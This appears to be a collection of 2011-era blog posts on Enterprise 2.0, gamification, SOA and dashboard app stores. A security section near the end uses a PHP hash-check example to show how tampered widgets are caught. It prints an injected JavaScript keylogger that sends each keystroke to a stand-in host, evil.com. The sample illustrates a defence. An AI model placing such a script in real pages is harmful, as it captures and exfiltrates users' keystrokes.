Strategies for Social Business

Supporting Social Business Enterprises

Something different happened at the 2011 Enterprise 2.0 Conference in Boston.  Something that goes beyond the Enterprise 2.0 Community.  A paradigm shift that affects all people.

Employers will no longer be hiring employees, they will be hiring a Workforce of Networked Workers.  Employers will embrace the “Innovation Age” with employees leveraging their networks to tap the exponential value in co-creation.  These new Social Business Models will generate the business intelligence required to succeed  in competitive markets.  Its hard to believe Enterprise 2.0 is only a few years old, but eventually there will be no Enterprise 2.0.

The term “Enterprise 2.0″ is relatively young, Andrew McAfee used this label in his “Enterprise 2.0: The Dawn of Emergent Collaboration” article written for “MITSloan Management Review” in 2006.  This article explored the possibilities of using “Social Web” technologies in the Enterprise.  I met Andy shortly after this article was published and discovered he had many more ideas on this topic.  We talked about the challenges ahead, mostly workforce cultures and business leaders’ perception of “Social” technologies.  It is amazing how much has been accomplished in so little time!

Sociocultural Evolution in Social Business

The sociocultural evolution in Social Business supporting the transformation of collaboration with the process of co-creation for reducing the complexity of innovation.  A quick timeline that starts with Mainframes and Dumb Terminals shows an accelerated growth pattern.

Mainframes and Dumb Terminals

A few years ago, a time most young people consider the “Stone Age”, Mainframes and Dumb Terminals (green screens of text) were all the rage in the Enterprise. These huge Mainframe computers were too expensive for most businesses at the time and had the computing power comparable to the iPhone of today.

Enterprise 1.o

August 6, 1991 marked the debut of the Web as a publicly available service on the Internet.  Business owners saw the value in web-based applications and invested in this technology.  Businesses eventually moved past creating static brochure web sites about their business and started creating web-based business applications.

Enterprise 2.0

• 2006: Andrew McAfee publishes “Enterprise 2.0: The Dawn of Emergent Collaboration”.
• 2006 – 2009: Business teams implement blogs, wikis, & copy features from social networking sites.  The phrase, “Enterprise 2.0 is like Facebook behind the firewall” was the non-helpful marketing buzz.  The misguided had the mentality of,  “build it and they will collaborate”.  Thought leaders were busy collaborating with others and building platforms.  Everyone was focused on tearing down, destroying, and blowing up “silos”.
• 2010: “Enterprise 2.0″ transforms to “Social Business”
• 2009 – 2011: Focus starts to shift from “user generated content” to “Collective Intelligence“
• 2011: More Enterprise 2.0 conversations about Open Social, Social Graph, XFN. FOAF, and APIs (see “Top 10 Reasons NOT to Use WOA & APIs in the Enterprise“).

Enterprise 3.0

Cultivating Network Effects: If Enterprise 2.0 is a play on Web 2.0, then Enterprise 3.0 is Semantic Social Business (Semantic Web).  This is where things really get interesting.  The future of searching for things in the Enterprise will be more about things finding you.  Collective Business Intelligence takes center stage.  More time is invested into social graph engines and algorithms. This is where some business IT money shifts to social science investments.

Andrew McAfee at Enterprise 2.0 Conf Boston 2011

Anyone involved with Enterprise 2.0 or Business Innovation should watch Andy’s video E 2.0 Boston 2011 presentation. You can also find it after logging into the E 2.0 Conference web site here. His topics include Wisdom of Crowds, Collective Intelligence, Prediction Markets, and more. He covers a lot of valuable information in a short period of time, so you may need to watch it a few times and take notes.  Here are 3 quick notes:

• Give Community Members a voice
• Let Computers do what they are designed to do
• Let People do what they are designed to do

If you liked Andy’s presentation at the E 2.0 Conference Boston 2011, then you may like this video of him talking about most of the same topics.

Gamification in the Enterprise?

About 4 minutes into Andy’s presentation at Boston’s Enterprise 2.0 Conference, he mentions “Gamification“.  Social Business Gamification is a very interesting topic.  Examples of how this works are everywhere, we can see how this looks in the employee review process in Rypple’s  video.  We can also learn more from Spigit, Bunchball, and Badgeville.  The AppFusions Team can integrate custom Gamification solutions for your business needs.

People at the Enterprise 2.0 Conference Boston 2011 seemed to appreciate Michael Wu’s session about Big Data Analytics for Social Media, but he has also put a lot of thought into how the Future of Enterprise Software will be Fun and Productive.  I wrote about his work in this article, “The Secret Social Science Sauce of Gamification“.

I believe many members of the Enterprise 2.o Community can benefit from his work.  I hope people encourage him ( @mich8elwu ) to give a keynote at The Enterprise 2.0 2011 Santa Clara Conference scheduled for November 14 – 17.

Resources:

There are so many great people willing to help others with Social Business and Enterprise 2.0 all over the web and in your neighborhood.  It is almost impossible to mention all of them here.  I recommend reviewing all the shared resources at http://www.e2conf.com and attending one of their events.  You will meet great people and learn fascinating things.

Jim Worth @jimworth did an Outstanding job of putting a huge collection of Enterprise 2.o resources here.

• Future Tech Jobs: We Need Social Science Graduates by Rawn Shah @rawn
• Dion Hinchcliffe @dhinchcliffe, (Dion shares important information about APIs and Social Business).
• The Wall Street Journal: Enterprise 2.0 Is Growing Up by Russ Garland
• Social Business and Next-Generation CIOs – The Business Models by Dion Hinchcliffe
• Enterprise 2.0 Conference – Boston 2011: Resource Materials by Janet Kuntz @IM4WARD

I wrote this article because I like what the Enterprise 2.0 Community is doing.  If you like this article or if you believe education for children is important, then please leave a comment on this blog about our brothers and sisters from the Washington DC area helping the children, teachers, and staff at Humble School Uganda Africa. http://humble-school.blogspot.com They will appreciate knowing somebody is thinking about them and wishing them well.

Enterprise Gamification Strategy

Enterprise Gamification is the use of game mechanics within organizations to support a collaborative culture that aligns with business objectives to create an agile social business model that can increase chances of success in current competitive markets and future markets.  Applying the principals of game theory and implementing game mechanics in enterprise 2.0 platforms plays a very important role in it’s event-driven architecture for capturing the REAL value of enterprise 2.o solutions.  This REAL value is realized by lowering barriers of participation and showing the relationships of people, ideas, and things.  Implementing enterprise gamification strategy should be a part of the complete social business strategy.  Additional information is available in this article, “The Gamification of Innovation in the Enterprise“.

The Exponential Value of Social Business

What is the difference between Social Business and Enterprise 2.0?

The term “Social Business” gained wide-spread popularity at the 2010 Enterprise 2.0 Conference.  Andrew McAfee ( @amcafee ) shares his valid thoughts on this trend in “‘Social Business’ is Past Retirement Age“.  Stowe Boyd ( @stoweboyd ), another well-respected player in the Enterprise 2.0 Industry, shares his thoughts on this trend in “Andrew McAfee on ‘Social Business’ versus ‘Enterprise 2.0′, One More Time“.  Using a label / hashtag ( #e2conf or #e20 ) makes discovering related information easy.  Using “labels/terms” also helps focus context of conversation.  “Enterprise 2.0″ has revived SOA, SaaS, PaaS, …., but I believe the specific term still depends on the context of the conversation.

This controversy over terms also applies to “#Gamification“.  The terms “Gamification” or “Gamify” may seem “buzz busy” and out of place in the context of business, but these terms actually help business leaders connect to new ideas for accomplishing business goals.  You can learn more about how to use game mechanics to accomplish your goals at this Gamification Workshop by Gabe Zichermann ( @gzicherm ) scheduled for June 23 in Washington, DC (check the schedule for a location near you).

The foundation of harnessing the power of the web for Social Business leads us back to “Web 2.0: A Strategy Guide” By Amy Shuen.  Videos on this guide by Amy Shuen are available at “‘Web 2.0: A Strategy Guide’” By Amy Shuen“.

Unlocking the Deeper Levels of Value in Enterprise 2.0 Platforms

Combining Enterprise Architecture (EA) with Service-Oriented Architecture (SOA) and Event-Driven Architecture (EDA) provides methods for capturing and surfacing the power of collective intelligence.  This architecture strategy for Business Intelligence (BI) leverages previously unknown causal relationships to form a new event pattern.  This new business intelligence pattern triggers further autonomous human or automated processing that adds exponential value to the enterprise by injecting value-added information into the recognized pattern which could not have been achieved previously.  I have shared ideas on this topic before at “Enterprise 2.0 Adoption Patterns: Collective Intelligence“.

Collective Intelligence

The main concept to grasp about collective intelligence in the enterprise is this:

“The whole is greater than the sum of its parts.”  ~Aristotle

Prediction Markets

Harnessing the power of collective intelligence to unlock the hidden levels of prediction markets can be accomplished by surfacing data through interactive widgets, gadgets, and apps.  Data analysis can be difficult and time consuming, but crowdsourcing these tasks out to the players of your business community can lighten the burden and achieve better results.  These interactive apps can be created by mashing up data with chart/graph APIs and game components into web-based widgets.  Using standard methods for creating these widgets will support sharing the experience across the enterprise in a platform independent manner.

How Do We Get There From Here?

The challenge of successfully unlocking these hidden secret levels of value will require a collaborative effort.  Here are a few resources for helping your team on this quest.

BUNCHBaLL Gamification Whitepaper

“Gamification uses proven techniques from game design to satisfy your customers and engage them with your content, community or brand, while simultaneously driving meaningful value for your business.” ~ BUNCHBaLL – Gamification Whitepaper

Badgeville – Gamification Report

“Badgeville is a white label Social Rewards & Analytics Platform for web and mobile publishers. Our customers come from a wide variety of verticals including retail, entertainment, publishing, education, enterprise and more.” ~Badgeville – Gamification Report

APIs, Apps, Widgets, & Gadgets

Wisdom of the (developer) crowd: Key lessons on using APIs

“… We’re talking specifically about “open” (or public) APIs, those that are intended to be picked up and used by outside developers. This is common practice in the tech industry, where Facebook, Twitter, Google, and more offer APIs that let developers build applications around their data… ”

PhD Thesis on Mashups

Michele Stecca (@steccami ), Convergent Composition of Telecom and Internet Services in Telco/IT Mashups, PhD Thesis, University of Genoa, 2011

Pro Web Gadgets

“Pro Web Gadgets” by Sterling Udell was published before its time.  This book about “Cross-platform Development Strategies” goes far beyond how to use clever Web 2.0 technologies for creating apps, widgets, and gadgets for the “Distributed Web”.  The author carefully guides the reader through the techniques and strategy of extending existing IT investments to make data more interesting and sharable across environments and devices.  The purchase of this book is a priceless investment for anyone thinking about developing for the future of the web.

Developing Web Widgets with HTML, CSS, JSON and AJAX by Rajesh Lal is also a good book, but I like it for different reasons and plan share some thoughts on it soon too.

Enterprise Gamification is a huge topic with many areas to explore.  You can discover more here “Enterprise Gamification“  I have also discovered a lot of very smart helpful people about this topic on Twitter.  You can follow this #Gamification Twitter List to connect with people that can help you on this adventure.  You can discover intelligent people sharing ideas about Enterprise 2.0 & Social Business on this “Enterprise 2.0 Twitter List #e20“.

Gartner Says By 2015, More Than 50 Percent of Organizations That Manage Innovation Processes Will Gamify Those Processes.

“Gamification describes the broad trend of employing game mechanics to non-game environments such as innovation, marketing, training, employee performance, health and social change,” said Brian Burke, an analyst at Gartner. “Enterprise architects, CIOs and IT planners must be aware of, and lead, the business trend of gamification, educate their business counterparts and collaborate in the evaluation of opportunities within the organization.” Learn more here.

Enterprise Gamification Trends

Dean Takahashi wrote about this idea on “GamesBeat”, his article and the interesting comments can be reviewed here. Libe Goad and Peter Cohen share their thoughts about Innovation Gamification on ZDNet in this article (see comments too). Eric Caoili and his friends take a deeper look at this topic in, “Analyst: Over Half Of ‘Innovation’ Companies To Adopt Gamification By 2015“. Fans of Government 2.0 and Government Agencies can leverage the concepts of Game Mechanics in their Gamification Strategy, as Jeff Lopez covers in “Click to Participate – Games in Government“.

Beyond Gamification: 7 Core Concepts to Create Compelling Products

Amy Jo Kim (@AmyJoKim) shared 7 core concepts to create compelling products at the Web 2.0 Expo SF 2011. Understanding these 7 core concepts when implementing Game Mechanics within the Enterprise Innovation process is critical. Designers and Developers should already be aware of the core concepts when creating Enterprise 2.0 Platforms. These core concepts with very slight modifications can be reviewed here:

1. Know who plays a part in your business objectives – design for their social style
2. Build a system that’s easy to learn and hard to master
3. Build fun/pleasure/satisfaction into your core workflows
4. Use Progress Mechanics to “light the way” towards learning and mastery of business goals
5. Design for Onboarding, Habit-Building, and Elder Game
6. As employees and partners progress, unlock greater challenges, customization and privileges
7. Give employees and partners real power via stats, voting, earned roles, & crowd-sourcing

Gamification at Web 2.0 Expo SF 2011 with Amy Jo Kim (ShuffleBrain) Video

Amy explains the core concepts of Gamification in the Web 2.0 Expo video.

Enterprise Innovation Gamification

The Enterprise Strategy of Innovation Gamification in business should be taken seriously by CIOs, IT Managers, and Enterprise Architects. Helping their colleagues, partners, and business associates understand how to leverage the concepts of game mechanics should be a defined goal in their Enterprise 2.0 Strategy Plan. Learn more at “What You Need to Know Before Boarding the Enterprise Gamification Trend Train“.

Successful Enterprise Gamification implementation requires today’s leaders to understand and apply the knowledge of behavioral psychology and the lessons from brain science to manage organizational change successfully. “The Psychology of Change in Organizations“, Psychology Today.

Did you see this recent post by Andrew McAfee, “Enterprise 2.0 the Indian Way“? Andy shares this advice, “The more I learn about Enterprise 2.0, the more inclined I am to encourage companies to throw caution to the wind: buy (or build) some well-designed lightweight tools that take advantage of emergence and game mechanics, find a few leaders willing to lead by example, and go live”.

Jim Worth explains how simple features can lead to sophisticated results in “The Upside Down Enterprise Portal“.

The Game of Organizational Change

Way back in the 1990′s I worked with a team that was tasked with helping our organization reach the next level of Capability Maturity Model Integration (CMMI). The goal of this task was to improve each team’s performance and give our organization a competitive edge over similar businesses. My task was to create a “Process Management” Platform. This platform included what I called a “Behavior Engine”. The Behavior Engine included logging identified behaviors and awarding users points for performing tasks within the platform. User points were accumulated by doing things like: logging in, creating new process categories, adding new processes, … Reports were generated for stakeholders from the Behavior Engine to identify key players and their behaviors that were driving the success of our goal. We would interview these key players to discover how we could make things even easier. We would also help all players learn from each other by connecting the key players with the weaker players. Then we had the bright idea to surface the Behavior Engine data through individual and team leader boards, process collections, process improvement ideas, … We quickly discovered that the community could easily accomplish the objectives when they had the right guidance and understood the goal.

Our team got tasked with a new project that involved creating a platform for “Human Resources”. There was a lot of buzz about including the Behavior Engine from the Process Management Platform. We explained that this is not something that you just copy-n-paste, but we did reuse the core code and aligned it with the desired behavior and objectives of this new platform.

I moved on to other organizations and have worked with various teams to create/reface/integrate multiple types of platforms that include virtual meetings, customer relationship management, and Enterprise 2.0 platforms. All of these have elements of game mechanics in the architecture to support gamificaition (These elements can be found by searching your code, database, and logs for the word “points”). Speaking of “points”, the point of this quick story is that there is no “one-size-fits-all” solution for game mechanics in the Enterprise. Each implementation of Enterprise 2.0 Gamificaction is unique according to the business objectives and desired behaviors.

Happy Fav Five Friday!

Fav Five Places

What You Need to Know Before Boarding the Enterprise Gamification Trend Train

Work Better. Play Together? On Enterprise Gamification
Enterprise gamification is a hot concept trending in Enterprise 2.0. It has great potential for benefit (and misuse). Misconceptions create the risk of getting it wrong. Rypple’s Daniel Debow shares very important lessons learned for making it work in this presentation.

Gamification and Its Discontents
This great presentation on gamification by Sebastian Deterding covers: The Idea of gamification, side effects, common confusions and misunderstanings, what can go wrong when adding game mechanics to an interaction, and what gamified applications are missing about games.

Seth Priebatsch: Building the game layer on top of the world
By now, we’re used to letting Facebook and Twitter capture our social lives on the web — building a “social layer” on top of the real world. At TEDxBoston, Seth Priebatsch looks at the next layer in progress: the “game layer,” a pervasive net of behavior-steering game dynamics that will reshape education and commerce.

Print Your Own SCVNGR’s Secret Game Mechanics Playdeck
Print Your Own Version of SCVNGR’s Game Mechanics Flash Cards

Cultures and Organizations: Software for the Mind, Third Edition

Based on research conducted in more than seventy countries over a forty-year span, Cultures and Organizations examines what drives people apart—when cooperation is so clearly in everyone’s interest. With major new contributions from Michael Minkov’s analysis of data from the World Values Survey, as well as an account of the evolution of cultures by Gert Jan Hofstede, this revised and expanded edition:

• Reveals the “moral circles” from which national societies are built and the unexamined rules by which people think, feel, and act
• Explores how national cultures differ in the areas of inequality, assertiveness versus modesty, and tolerance for ambiguity
• Explains how organizational cultures differ from national cultures—and how they can be managed
• Analyzes stereotyping, differences in language, cultural roots of the 2008 economic crisis, and other intercultural dynamics

Fav Five Faces

Who is on your “Fantasy Innovation Team” this week?

Here are amazing people that have connected me to new friends and new ideas this week. You might be familiar with “Fantasy Football Teams” , well this is my “Fantasy Innovation Team” this week. I recommend following these smart, creative people on Twitter.

	Dad, entrepreneur (co-CEO of Rypple), music fan, and curious person. http://twitter.com/ddebow
	Aspiring architect in the cathedral of human understanding. Researcher & designer working on UX, games, gamification & persuasive design. Tweets cc:by-nc/3.0. http://twitter.com/dingstweets
	Chief Ninja of SCVNGR! (www.scvngr.com) http://twitter.com/sethpriebatsch
	Game Designer, Bass Player, Mom http://twitter.com/amyjokim
	Author, Speaker and Expert on Gamification and Game Mechanics. My Book: http://bit.ly/3YITLb & my Blog: http://gamification.co http://twitter.com/gzicherm

Enterprise Gamification Strategy

Enterprise Gamification is the use of game mechanics within Enterprise 2.0 Platforms that improves adoption and strives to encourage users to engage in desired behaviors in connection with business objectives. This technique should be a part of the complete Enterprise 2.0 Strategy. Discover more about game mechanics within Enterprise 2.0 Gamification here “The Enterprise 2.0 Strategy of Gamification“.

Intranet vs Internet

The main goal of a winning Enterprise 2.0 Strategy is to facilitate communication and innovation through collaboration.  The Art of Enterprise Architecture in E 2.0 is to unite people and process.  Thoughts on Enterprise 2.0 Architecture include leveraging the principles of Service-Oriented Architecture (SOA) to support Web-Oriented Architecture (WOA).  This type of Internet architecture for the Intranet makes is possible to support Web 2.0 Apps, Gadgets, & Widgets in the Enterprise.  This strategy reduces the number of resources required for the technical part of Enterprise 2.0 Architecture and provides time to focus on Improving Enterprise 2.0 Adoption Through Gamification.

Many organizations today are supporting employee collaboration through Enterprise 2.0 Platforms.  Vendors are also providing Enterprise 2.0 Solutions that include Social Networking features very similar to Facebook and Twitter.  Some organizations and vendors are missing the biggest success factor behind these popular Social Networking Platforms.  The Application Programming Interface (API) of these platforms contributed heavily to their success.  Using APIs to easily link data is the foundation of how the internet works today.  Enterprise 2.0 platforms should provide a great user experience, enable third-party developers and empowers employees to accomplish their business objectives. This can be accomplished with an Enterprise 2.0 solution that leverages Web-Oriented Architecture (WOA) with open, standards-based, non-proprietary API implementations built on web-based RESTful architecture.

Enterprise 2.0: Top 10 Reasons NOT to Use WOA & APIs

1. We have endless resources and enjoy spending extra money on integration.
   
2. We like to spend our bonus money on infrastructure to support bloated code.
   
3. We have no desire to support multiple devices.
   
4. We have no plans to share information across multiple environments.
   
5. We don’t want a platform that can be extended.
   
6. We want to pay top dollar for things most get for free.
7. We don’t support Standards because we enjoy watching our bug list grow.
   
8. We believe code should be rigid and not reusable.
9. We understand the benefits of WOA & APIs, but that’s not the way we do things here.
10. We feel trendy when talking about OSGI bundles for the Enterprise Service Bus (ESB).
    

Data.Gov Demonstrates the Power of WOA and APIs

The next-generation Data.gov platform delivers a fantastic citizen experience, enables developers and empowers agencies to accomplish their mission.  See how this is accomplished in this video.

What Does It Mean to API-Enable Data.Gov?

The Web-Oriented Architecture (WOA) of Data.Gov offers an open, standards-based, non-proprietary API implementation built on web-based RESTful architecture. Learn more here [pdf].

Happy Fav Five Friday!

Favorite 5 Places

Forrester: SOA thriving; but interest in ESBs slips A new survey of 2,165 companies, compiled by a team led by Forrester Research’s Randy Heffner, finds that interest in service oriented architecture remains strong, despite today’s emphasis on cloud computing, mobile applications, and social networking …more

Enterprise 2.0 Roll-up: Welcoming Service Cloud 3 and iPad Remember when Chatter first came out? Salesforce.com’s CEO Marc Benioff couldn’t stop talking about how it was just like Facebook. This week that level of social functionality has been extended to Service Cloud 3, the newest iteration of the company’s social …more

5 recommendations for successfully implementing distributed innovation and shared value The real reason for distributed innovation is simply that you can no longer be self-sufficient. You must bring together more and better resources than you can hope to have inside a single organization. This means that distributed innovation models must address how … more

Becoming an Open Leader Two years ago I posted a short post that picked up from an HBR article on leadership flaws.  I posed the question if Enterprise 2.0 initiatives can thrive in environments where toxic leadership reigns.  My first reaction was no, and then I thought about ways to get to yes.  One of the flaws of flawed leadership is the lack of feedback — to gain self-awareness there is a problem in the first place.  Perhaps the feedback loop E2.0 cultures …more

#E2sday: How to Calculate the ROI of Enterprise 2.0 With enterprise social software platforms starting to gain widespread traction, ROI measurements are now becoming possible with early adopter communities. Many companies are looking for a detailed guide on how to measure the benefits of E2.0 …more [infographic]

The SOA Social Graph Love Affair

Saint Valentine’s Day is quickly approaching and it has me thinking more about relationships.  Psychology Today published an interesting article on learning what you need to know to make your relationship last.  A relationship can be defined as an association between two or more people that may range from fleeting to enduring. This association may be based on limerence, love, solidarity, regular business interactions, or some other type of social commitment. Interpersonal relationships are formed in the context of social, cultural and other influences. The context can vary from family or kinship relations, friendship, marriage, relations with associates, work, clubs, neighborhoods, and places of worship. They may be regulated by law, custom, or mutual agreement, and are the basis of social groups and society as a whole.  This article will focus on relationships in Enterprise 2.0 Strategy and the Service-Oriented Architecture (SOA) Social Graph love affair.  The content of the article will include Social Business trends & predictions, Web 2.0 Technologies, and resources to help users integrate systems through Service-Oriented Architecture (SOA) to support relationships between people and data fueling the Social Graph providing context to information for the Enterprise.  This relates to a previous article: Enterprise 2.0 Cloud Computing & Service Oriented Architecture (SOA).

Social Business Forecast: 2011 The Year of Integration

Industry analyst that specializes on customer strategy and  Altimeter Group partner Jeremiah Owyang ( @jowyang ) shares survey information and great insights in this presentation.

Social Business Integration with SOA & WOA

The use of Service-Oriented Architecture leveraging Web-Oriented Architecture (WOA) in Enterprise 2.0 can ease the pain of integration and centralize information management.  This strategy provides the flexibility of sharing information in the proper context while supporting the Social Graph.  Context can be provided by including simple markup in existing solutions.  This markup includes FOAF,  XFN, and Microformats for events & profiles.  The internet provides many great examples of Web 2.0 Technology integrating SOA and WOA.  Gravatar and DISQUS are two quick examples.  Gravatar provides people a Globally Recognized Avatar that software developers can include through a very simple Application Programming Interface (API) supported by WOA.  DISQUS is a comments platform that helps you build an active community from your website’s audience. It has awesome features, powerful tools, and it’s easy to install.  A solid Enterprise 2.0 Strategy includes much more that providing collaboration tools to employees and includes supporting relationships between everyone and everything connected to the Business.

Social Graph Based Business Models

The audio in this video is low, but there are many great topics covered here.  These topics include “The Super Connector”, “Activity Streams”, “Network Effects”, “Social Graph”, “Facebook”, “Micro Transactions”, and more.  This Social Graph Based Business Models video can be viewed here.

Introduction to the Social Graph API

Google engineer Brad Fitzpatrick gives an introduction to the Social Graph API. The Social Graph API makes information about the public connections between people more easily available. Developers can query this public information to offer their users dramatically streamlined “add friends” functionality and other useful features.  A quick overview of the Social Graph API is available in this video.

Supporting the Social Graph with SocialSite

Understand the importance of Social Networking features in Web applications. Learn about the new OpenSocial standard for plugging into Social Networks. See how Project SocialSite’s Web Services and Widgets make it easy to make your Web Applications social.  Learn more here.

Google’s OpenSocial

Applications that use the OpenSocial APIs can be embedded within a social network itself, or access a site’s social data from anywhere on the internet or intranet.  Learn more here.

Enterprise OpenSocial Whitepaper: Enterprises are collections of people, and thus inherently social. Employees of any organization benefit from social connections, group affiliations and relationships both within their own business and between other businesses. As a result, social networking capabilities have become increasingly popular in business-to-consumer, business-to-business, and internal enterprise collaboration applications. New technologies and standards such as Web 2.0 and OpenSocial [1] are helping software providers better model relationships between people, allowing end-users to benefit from such relationships in day-to-day business processes within their own enterprise, and across business networks. Google’s Enterprise OpenSocial Whitepaper is available here.

Web 2.0 and the Enterprise: A Symbiotic Relationship

Time shifting & place shifting We then discovered that the same type of time shifting happening among consumers was taking place in the workplace too. People were switching between tasks, collaborating and consuming media in completely new ways. Lean more here.

Happy Fav Five Friday!

Fav 5 Places

The Architecture of SocialSite

A quick presentation on the architecture of SocialSite, Sun’s implementation of a OpenSocial compliant Social Networking site using Shindig.  Learn more about SocialSite architecture here. (SocialSite is a Glassfish project now known as “SocialFish“)

Enterprise 2.0 Activity Streams

Activity streams will continue to be a much hyped capability within social platforms. However resulting “stream glut”, interoperability, and security-related issues will threaten benefits unless better user experience design, filtering, standardization, permission models, and back-end analytics are applied. Learn more here.

Social Media is from Mars, Enterprise 2.0 is from Venus

Focus on creating and maintaining genuine relationships with customers.  Learn more here.

The relationship between Enterprise 2.0 and Web 2.0

A topic that is closely related to Enterprise 2.0 is Web 2.0. It is important to note, however, that the concepts are not one and the same, but rather they are two individual areas that are built on top of similar foundations. The term Web 2.0 describes the shift in focus from static and singular media to dynamic, interactive community-oriented social media. Learn more here.

Web 3.0 and Social Business: 2011 Predictions & Recommendations

2011 will mark a turning point in the adoption of digital social technologies because the experimentation phase is drawing to a close, and stakeholder expectations are increasing. Organizations and people will no longer gain attention by executing badly. At the enterprise level, participation will wane in venues and initiatives that have no business strategy, focus, content strategy and commitment.  Learn more here.

Summary

The future of intranets and the internet is all about context, integration, app stores, apps, mashups, widgets, gadgets, and filters.  Integrating Web-Oriented Architecture (WOA) in Enterprise 2.0 supporting Service-Oriented Architecture (SOA) will improve Business success.

There’s an app for that!

The success of Apple’s iPhone App Store, Mac apps, and Google’s Marketplace all play a part in driving the trend of Enterprise 2.0 App Stores in business organizations of all sizes.  The idea of providing a solution with “There’s an app for that!” will be common place in the near future.  The App Store market will get very interesting when organizations and Government Agencies harness the true power of Service Oriented Architecture (SOA) & Cloud Computing.  This trend will help fuel the Federated System.  More information about Enterprise 2.0 App Store Architecture can be found here The 80-20 Rule for Web 2.0 Architecture in the Enterprise.

Where Do Apps Come From?

Custom Enterprise 2.0 Dashboards can include apps, widgets, and gadgets that include resources that are internal, external, and a combination of both.

1. Internal Resources: Apps and their data that are hosted and maintained within the organization. The risk level is low.
2. Internal and External Resources: There are usually internally created apps that use external data. The risk level is medium.
3. External Resources: Apps that are hosted by third parties.  The trust relationship is complex and the risk level usually remains high.

How Are Apps Delivered?

Apps are added to devices and dashboards in multiple ways. App code and private data should reside in the client, but this is rarely the case.  Web 2.0 Apps are usually added to Enterprise 2.0 Dashboards by using the following technologies and methods.

• Document Object Model Manipulation with AJAX
• HTML iFrames
• Adobe Flash
• Microsoft Silverlight

What Are Application Security Risks?

Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.  The top 10 application security risks of 2010 can be reviewed on the Open Web Application Security Project (OWASP) web site here.  Additional Web Security information is available from the Open Ajax alliance at Ajax and Mashup Security.  The main rule of thumb is, “Never trust external data”.  Using a Proxy Server to fetch external data can help support the additional security requirements.  A proxy server is also helpful in capturing metrics of external resource usage.  The proxy server can integrated like an Enterprise Service Bus (ESB) to support the complex structure of Enterprise 2.0 App Stores.

What Happens When Good Web 2.0 Apps Go Bad?

How to Detect a Key Logger on Your System

Most people in the Web 2.0 World are familiar with the acronym WYSIWYG, “What You See is What You Get”.  This new acronym WYRIWYR, “What You Requested is What You Received” will be covered here.  The consumer and the producer should be focused on WYRIWYR.  Producers need to trust the consumer’s identity and consumers need to feel secure.

Data can be tampered with on either end and while in transit.

The Open Source Software Community frequently uses checksum to protect software integrity. This same strategy can be used to protect consumers from malicious apps and widgets.  This simplified example will use MD5 in PHP to check the integerity of the app, but MD5 should not be used for sensitive data like passwords in a production environment.  US-CERT of the U. S. Department of Homeland Security said MD5 “should be considered cryptographically broken and unsuitable for further use,” and most U.S. government applications will be required to move to the SHA-2 family of hash functions after 2010.

Simple App

Here is a very simple app that could be part of a custom Enterprise 2.0 Dashboard. The App is reviewed and approved. The reviewer signs the app (creates app MD5 Hash: c15a7308d89afe9218a1b0f60a37f8ad) so changes can be detected when it comes back through the proxy server.

<html>
<head>
</head>
<body>
<h1>World's Best Web 2.0 Widget</h1>
<img src='http://example.com/images/coolGraphic.png'/>
</body>
</html>

Simple App in Proxy Server before Dashboard Display
Deliver app if new hash and signature match. Disable app and notify Admin if something does not look right.

$app = <<<END
<html>
<head>
</head>
<body>
<h1>World's Best Web 2.0 Widget</h1>
<img src='http://example.com/images/coolGraphic.png'/>
</body>
</html>
END;
if (md5($app) == 'c15a7308d89afe9218a1b0f60a37f8ad'){
  deliverApp($app);
  //Signature & Hash matched! App Delivered.
}
else{
  disableApp($appId);
  alertAdmin($message);
}

The Simple App with Key Logger Script Injected

$app = <<<END
<html>
<head>
<script>
function keylogger(e){ 
document.images[0].src = 'http://evil.com/logger?key=' + e.keyCode;};
document.body.addEventListener('keyup', keylogger, false);
</script>
</head>
<body>
<h1>World's Best Web 2.0 Widget</h1>
<img src='http://example.com/images/coolGraphic.png'/>
</body>
</html>
END;
if (md5($app) == 'c15a7308d89afe9218a1b0f60a37f8ad'){
  deliverApp($app);
}
else{
  disableApp($appId);
  alertAdmin($message);
  //Signature & Hash do not match App not delivered.
  //App disabled and Admin notified.
}

Happy Fav Five Friday!

Fav 5 Places

1. Google Gadgets For Your Webpage
2. ‘App store’ makes service orientation real for the business
3. Global CIO: The Case For Copying Apple’s App Store
4. Nexuo Enterprise Platform
5. Enterprise Irregulars: Designing User Experience

The people from Open Social provides a great Introduction To Signed Requests

OpenSocial API provides a method to communicate OpenSocial ID numbers back to your server in a secure way, allowing for the construction of robust web service backed OpenSocial applications, using a portion of the OAuth authorization protocol.  This article will explain the method to make such secure requests from your OpenSocial applications, as well as the server-side process that you need to follow in order to verify that the data passed has not been tampered with.   Learn more here.

The Social Business Strategy of Enterprise 2.0

Successful Enterprise 2.0 is all about integration.  This integration goes beyond using technology to connect data & systems.  Enterprise 2.0 integration includes a Social Business Strategy.  Some of these strategic integration points include:

• Integrating Culture
• Integrating Partners, Customers, & Vendors
• Integrating Interactive Design Principals
• Integrating The Dispersed Workforce
• Integrating Support for Multiple Needs & Devices

Service-Oriented Architecture (SOA) supports using technology to loosely couple systems and social business integration.  Some great guiding principals for Enterprise 2.0 Strategy are defined in the SOA Manifesto.  The SOA Manifesto priorities include:

• Business value over technical strategy
• Strategic goals over project-specific benefits
• Intrinsic interoperability over custom integration
• Shared services over specific-purpose implementations
• Flexibility over optimization
• Evolutionary refinement over pursuit of initial perfection

Great principals for supporting a solid Enterprise 2.0 Strategy can be found in the Guiding Principles section of the SOA Manifesto.

Sexy Enterprise 2.0?

“Enterprise 2.0 Solutions will become very sleek and sexy.” is a statement from this article: Collection of Enterprise 2.0 Predictions & Tech Trends for 2011.

Employers and employees are already seeing the sexy side of Social Business in Enterprise 2.0 with the release of tibbr for the Enterprise.  TIBCO tibbr supports context integration to give people and data more meaning.  The functionality broken down into the simple form allows people to follow people and data.  There is also integration support for Facebook, Twitter, and other Social Networks.  Dennis Howlett wrote a great article about TIBCO tibbr that includes this excerpt “.. it is further eroding the boundaries between siloed operations ..”  You can read his full article here.

What is TIBCO tibbr?

TIBCO tibbr is the first social computing tool specifically built for the workplace that allows the right information to find you.

Unlike social networking applications that focus on the concept of “following people,” tibbr is the first to take an entirely new approach to social computing by allowing you to follow subjects, applications, and social event streams. Learn more here.

Happy Fav Five Friday!

Top 5 Places This Week

1. What are the distinctions between Social Business and Enterprise 2.0?
2. Rethinking the Future of Business Part 2: Building the Framework
3. What Social Media and Enterprise 2.0 Can Bring to HR Processes
4. What’s The Difference Between Game Mechanics in the Enterprise and Good Management?
5. How to Build a mobile app on Apple iPhone using Sencha JavaScript Framework

Enterprise 2.0 Social Business Collaboration

